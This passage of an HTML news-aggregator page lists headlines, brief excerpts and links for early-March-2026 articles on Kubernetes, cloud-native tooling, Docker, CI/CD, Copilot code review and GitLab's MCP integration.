<p><a href="https://cloud.google.com/blog/products/containers-kubernetes/gke-now-supports-custom-metrics-natively/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-great-migration-why-every-ai-platform-is-converging-on-kubernetes" class="group relative scroll-mt-24">
        <a href="#h3-the-great-migration-why-every-ai-platform-is-converging-on-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The great migration: Why every AI platform is converging on Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-great-migration-why-every-ai-platform-is-converging-on-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When Kubernetes launched a decade ago, its promise was clear: make deploying microservices as simple as running a container. Fast forward to 2026, and Kubernetes is no longer “just” for stateless web </p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/03/05/the-great-migration-why-every-ai-platform-is-converging-on-kubernetes/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-scaling-the-future-of-open-ran-red-hat-joins-the-ocudu-ecosystem-foundation" class="group relative scroll-mt-24">
        <a href="#h3-scaling-the-future-of-open-ran-red-hat-joins-the-ocudu-ecosystem-foundation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Scaling the future of Open RAN: Red Hat joins the OCUDU Ecosystem Foundation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scaling-the-future-of-open-ran-red-hat-joins-the-ocudu-ecosystem-foundation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>At Red Hat, we’ve always believed that the most complex challenges in technology are best solved through open collaboration. This week, as announced by the Linux Foundation, Red Hat has officially joi</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/scaling-future-open-ran-red-hat-joins-ocudu-ecosystem-foundation"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-multi-cloud-yugabytedb-with-kubernetes" class="group relative scroll-mt-24">
        <a href="#h3-multi-cloud-yugabytedb-with-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Multi-Cloud YugabyteDB with Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-multi-cloud-yugabytedb-with-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>YugabyteDB Anywhere’s embedded Kubernetes operator allows declarative, Kubernetes-native infrastructure-as-code management of multi-cloud topologies leveraging popular service meshes. Discover how the</p>
<p><strong>📅 Mar 4, 2026</strong> • <strong>📰 Yugabyte Blog</strong></p>
<p><a href="https://www.yugabyte.com/blog/multi-cloud-yugabytedb-with-kubernetes/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-new-observability-features-in-red-hat-openshift-421-and-red-hat-advanced-cluster-management-for-kubernetes-216" class="group relative scroll-mt-24">
        <a href="#h3-new-observability-features-in-red-hat-openshift-421-and-red-hat-advanced-cluster-management-for-kubernetes-216" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 New observability features in Red Hat OpenShift 4.21 and Red Hat Advanced Cluster Management for Kubernetes 2.16
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-new-observability-features-in-red-hat-openshift-421-and-red-hat-advanced-cluster-management-for-kubernetes-216"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The latest updates to Red Hat OpenShift bring significant enhancements to monitoring and troubleshooting directly within OpenShift. Red Hat OpenShift observability has evolved into a highly integrated</p>
<p><strong>📅 Mar 4, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/new-observability-features-red-hat-openshift-421-and-red-hat-advanced-cluster-management-kubernetes-216"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-nanoclaw-can-stuff-each-ai-agent-into-its-own-docker-container-to-deal-with-openclaws-security-mess" class="group relative scroll-mt-24">
        <a href="#h3-nanoclaw-can-stuff-each-ai-agent-into-its-own-docker-container-to-deal-with-openclaws-security-mess" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 NanoClaw can stuff each AI agent into its own Docker container to deal with OpenClaw’s security mess
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-nanoclaw-can-stuff-each-ai-agent-into-its-own-docker-container-to-deal-with-openclaws-security-mess"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>On the one hand, I feel a bit conflicted pointing out the recognised security issues with OpenClaw, even as serious The post NanoClaw can stuff each AI agent into its own Docker container to deal with</p>
<p><strong>📅 Mar 7, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/nanoclaw-containerized-ai-agents/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-announcing-the-end-of-support-for-the-aws-copilot-cli" class="group relative scroll-mt-24">
        <a href="#h3-announcing-the-end-of-support-for-the-aws-copilot-cli" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Announcing the end-of-support for the AWS Copilot CLI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-announcing-the-end-of-support-for-the-aws-copilot-cli"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are announcing that AWS Copilot CLI will reach end of support on June 12, 2026. Copilot simplified building, releasing, and operating production-ready containerized applications on Amazon Elastic C</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/announcing-the-end-of-support-for-the-aws-copilot-cli/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-celebrating-women-in-ai-3-questions-with-cecilia-liu-on-leading-dockers-mcp-strategy" class="group relative scroll-mt-24">
        <a href="#h3-celebrating-women-in-ai-3-questions-with-cecilia-liu-on-leading-dockers-mcp-strategy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Celebrating Women in AI: 3 Questions with Cecilia Liu on Leading Docker’s MCP Strategy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-celebrating-women-in-ai-3-questions-with-cecilia-liu-on-leading-dockers-mcp-strategy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>To celebrate International Women’s Day, we sat down with Cecilia Liu, Senior Product Manager at Docker, for three questions about the vision and strategy behind Docker’s MCP solutions. From shaping pr</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/women-in-ai-cecilia-liu-docker-mcp-strategy/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubecon-cloudnativecon-europe-2026-co-located-event-deep-dive-keycloakcon" class="group relative scroll-mt-24">
        <a href="#h3-kubecon-cloudnativecon-europe-2026-co-located-event-deep-dive-keycloakcon" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 KubeCon + CloudNativeCon Europe 2026 Co-located Event Deep Dive: KeycloakCon
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubecon-cloudnativecon-europe-2026-co-located-event-deep-dive-keycloakcon"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As cloud native architectures span more clusters, services, and trust domains, identity and access management have become foundational infrastructure rather than an application-level concern. At the s</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/03/06/kubecon-cloudnativecon-europe-2026-co-located-event-deep-dive-keycloakcon/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-a-complete-guide-to-gitlab-container-scanning" class="group relative scroll-mt-24">
        <a href="#h3-a-complete-guide-to-gitlab-container-scanning" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 A complete guide to GitLab Container Scanning
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-a-complete-guide-to-gitlab-container-scanning"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Container vulnerabilities don&#39;t wait for your next deployment. They can emerge at any point, including when you build an image or while containers run in production. GitLab addresses this reality with</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/complete-guide-to-gitlab-container-scanning/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ospology-day-cloud-native-at-kubecon-cloudnativecon-europe" class="group relative scroll-mt-24">
        <a href="#h3-ospology-day-cloud-native-at-kubecon-cloudnativecon-europe" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OSPOlogy Day Cloud Native at KubeCon + CloudNativeCon Europe
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ospology-day-cloud-native-at-kubecon-cloudnativecon-europe"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Peer mentoring and group discussions on cloud strategy management Cloud native management has matured quickly. Platform engineering is now a cross-organization product, supply chain security expectati</p>
<p><strong>📅 Mar 4, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/03/04/ospology-day-cloud-native-at-kubecon-cloudnativecon-europe/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-scaling-organizational-structure-with-mesherys-expanding-ecosystem" class="group relative scroll-mt-24">
        <a href="#h3-scaling-organizational-structure-with-mesherys-expanding-ecosystem" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Scaling organizational structure with Meshery’s expanding ecosystem
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scaling-organizational-structure-with-mesherys-expanding-ecosystem"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As a high velocity project and one of the fastest-growing projects in the CNCF ecosystem, Meshery’s increasing scale and community contributions necessitates this recognition, which requires a revisio</p>
<p><strong>📅 Mar 4, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/03/04/scaling-organizational-structure-with-mesherys-expanding-ecosystem/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-announcing-docker-hardened-system-packages" class="group relative scroll-mt-24">
        <a href="#h3-announcing-docker-hardened-system-packages" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Announcing Docker Hardened System Packages
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-announcing-docker-hardened-system-packages"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Your Package Manager, Now with a Security Upgrade Last December, we made Docker Hardened Images (DHI) free because we believe secure, minimal, production-ready images should be the default. Every deve</p>
<p><strong>📅 Mar 3, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/announcing-docker-hardened-system-packages/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-why-metrics-for-top-engineering-teams-look-different" class="group relative scroll-mt-24">
        <a href="#h3-why-metrics-for-top-engineering-teams-look-different" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why metrics for top engineering teams look different
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-metrics-for-top-engineering-teams-look-different"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Top engineering teams measure release health by looking at different metrics.</p>
<p><strong>📅 Mar 9, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/engineering-metrics-for-high-performing-teams/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-beyond-feature-flags-launchdarkly-vs-other-release-management-tools" class="group relative scroll-mt-24">
        <a href="#h3-beyond-feature-flags-launchdarkly-vs-other-release-management-tools" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Beyond feature flags: LaunchDarkly vs. other release management tools
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-beyond-feature-flags-launchdarkly-vs-other-release-management-tools"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Not all release management platforms are built for production-grade control.</p>
<p><strong>📅 Mar 9, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/beyond-feature-flags-launchdarkly-vs-tools/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-metric-data-sources-import-multiple-tables-for-warehouse-native-experimentation" class="group relative scroll-mt-24">
        <a href="#h3-metric-data-sources-import-multiple-tables-for-warehouse-native-experimentation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Metric Data Sources: import multiple tables for warehouse-native experimentation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-metric-data-sources-import-multiple-tables-for-warehouse-native-experimentation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Bring your own warehouse tables and schemas to power experimentation</p>
<p><strong>📅 Mar 9, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/metric-data-sources-warehouse-native-experimentation/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-jenkins-plugin-management-a-practical-guide-to-avoiding-dependency-hell" class="group relative scroll-mt-24">
        <a href="#h3-jenkins-plugin-management-a-practical-guide-to-avoiding-dependency-hell" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Jenkins Plugin Management: A Practical Guide To Avoiding Dependency Hell
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-jenkins-plugin-management-a-practical-guide-to-avoiding-dependency-hell"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Jenkins has always been defined by its extensibility. With more than 1,800 available plugins, there’s rarely a CI/CD problem without a plugin that addresses it. That same extensibility, however, is al</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/teamcity/2026/03/jenkins-plugin-management/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-60-million-copilot-code-reviews-and-counting" class="group relative scroll-mt-24">
        <a href="#h3-60-million-copilot-code-reviews-and-counting" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 60 million Copilot code reviews and counting
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-60-million-copilot-code-reviews-and-counting"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>How Copilot code review helps teams keep up with AI-accelerated code changes. The post 60 million Copilot code reviews and counting appeared first on The GitHub Blog.</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/ai-and-ml/github-copilot/60-million-copilot-code-reviews-and-counting/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-scaling-ai-opportunity-across-the-globe-learnings-from-github-and-andela" class="group relative scroll-mt-24">
        <a href="#h3-scaling-ai-opportunity-across-the-globe-learnings-from-github-and-andela" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Scaling AI opportunity across the globe: Learnings from GitHub and Andela
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scaling-ai-opportunity-across-the-globe-learnings-from-github-and-andela"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Developers connected to Andela share how they’re learning AI tools inside real production workflows. The post Scaling AI opportunity across the globe: Learnings from GitHub and Andela appeared first o</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/developer-skills/career-growth/scaling-ai-opportunity-across-the-globe-learnings-from-github-and-andela/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-extend-gitlab-duo-agent-platform-connect-any-tool-with-mcp" class="group relative scroll-mt-24">
        <a href="#h3-extend-gitlab-duo-agent-platform-connect-any-tool-with-mcp" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Extend GitLab Duo Agent Platform: Connect any tool with MCP
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-extend-gitlab-duo-agent-platform-connect-any-tool-with-mcp"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
